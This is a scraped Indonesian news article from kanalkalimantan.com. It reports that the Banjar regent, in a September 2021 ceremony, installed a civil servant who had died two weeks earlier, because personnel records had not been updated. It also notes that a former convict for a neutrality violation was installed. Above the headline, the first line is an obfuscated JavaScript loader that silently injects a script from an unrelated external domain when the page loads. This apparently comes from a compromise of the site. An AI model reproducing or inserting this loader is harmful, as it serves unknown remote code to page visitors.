(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Data Belum Update, Bupati Banjar Lantik ASN yang Sudah Meninggal Dunia


KANALKALIMANTAN.COM, MARTAPURA – Ada yang menarik saat pelantikan 158 pejabat eselon 3 dan 4, di lingkup Kabupaten Banjar, Rabu (29/9/2021) lalu. Ternyata, salah satu ASN yang masuk daftar pejabat yang dilantik oleh Bupati Banjar H Saidi Mansyur, sudah meninggal dunia dua pekan lalu.

Almarhum yang dilantik adalah Alamsyah (44), yang sebelumnya menjabat sebagai Kepala Seksi Pemberdayaan Masyarakat Pemerintah Kelurahan Sungai Lulut. Belum lama tadi Alamsyah kembali dilantik menjadi Kepala Seksi Irigasi dan Rawa Dinas PUPR di Kabupaten Banjar.

Pelantikan ini mengacu kepada surat Keputusan Bupati Banjar nomor 8 : 21- 010 – MPI / BKDPSDM serta Peraturan Pemerintah Nomor 17 Tahun 2020 tentang perubahan dan peraturan pemerintah nomor 11 tahun 2017 tentang Manajemen Pegawai Negeri Sipil yang merupakan tindak lanjut dari Undang Undang ASN.

Menanggapi hal ini berdasarkan video yang diterima kanalkalimantan.com berdasarkan hasil wawancara dengan Kepala Badan Kepegawaian Daerah dan Pengembangan Sumber Daya Manusia (BKDPSDM) Kabupaten Banjar Rakhmat Dhani, yang bersangkutan belum mengetahui pegawai tersebut telah meninggal dunia dua minggu lalu.

 

 

Baca juga : Novel Baswedan: Pimpinan KPK Kok Malah Takut Sama Orang Berantas Korupsi, Lucu Kan?

“Kami terus terang belum menerima laporan mengenai adanya pegawai yang meninggal dunia, nanti kami cek dulu mungkin jika memang meninggal dunia SK-nya akan kita lakukan perbaikan,” akunya.

Ditambahkan Dhani terkait ASN yang biasanya diinformasikan meninggal dunia, pihaknya sudah membentuk grup dari tingkat kelurahan sehingga dapat diupdate di data Sistem Informasi Kepegawaian (SIMPEG) Kabupaten Banjar.

“Seharusnya jika ada yang meninggal dunia biasa kita update di data kepegawaian di Simpeg itu tadi, sampai sekarang kita masih belum ada laporan, baru tau juga saya dari pertanyaan media ini,” tutupnya.

Di antara 158 orang pejabat eselon 3 dan 4 yang dilantik, juga ada mantan terpidana pelanggaran netralitas ASN pada Pilbup Banjar 2020. ASN yang divonis bersalah itu dilantik menjadi sekretaris di salah satu SKPD. (kanalkalimantan.com/kk)

Reporter : kk
Editor : cell


Desy Arfianty

Recent Posts

‎Satlantas Polres HSU Bersama Ojol Mitra Tertib Berlalu Lintas ‎

‎KANALKALIMANTAN.COM, AMUNTAI - ‎Satuan Lalu Lintas (Satlantas) Polres Hulu Sungai Utara (HSU) menggelar kegiatan bertajuk… Read More

14 jam ago

Jemaah Haul ke-6 Abah Haji Penuhi Jalan Masjid Jami Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN — Lautan manusia jemaah Haul ke-6 KH Muhammad Zuhdianoor atau dikenal Abah Haji… Read More

15 jam ago

Satgas Saber Pangan HSU Turun ke Pasar Induk Amuntai

KANALKALIMANTAN.COM, AMUNTAI - Menjelang bulan Ramadan, Badan Pangan Nasional (Bapanas) bersama Satgas Saber Pangan Kabupaten… Read More

16 jam ago

Bupati Banjar Ingatkan Kantor Desa Garda Terdepan Pelayanan dan Bebas Pungli

KANALKALIMANTAN.COM, MARTAPURA – Bupati Banjar H Saidi Mansyur meresmikan tiga kantor desa dan Taman Pendidikan… Read More

16 jam ago

Cuti Bersama Tahun Baru Imlek, PTAM Intan Banjar Sesuaikan Jam Kerja Kantor Pelayanan

KANALKALIMANTAN.COM, BANJARBARU – Jam pelayanan dan jam kerja di kantor pelayanan PT Air Minum (PTAM) Intan… Read More

17 jam ago

Bapokting Naik, Wakil Wali Kota Ananda: Jangan Sampai Panic Buying!

KANALKALIMANTAN.COM, BANJARMASIN - Wakil Wali Kota Banjarmasin, Hj Ananda mengimbau masyarakat untuk tidak panic buying… Read More

22 jam ago

This website uses cookies.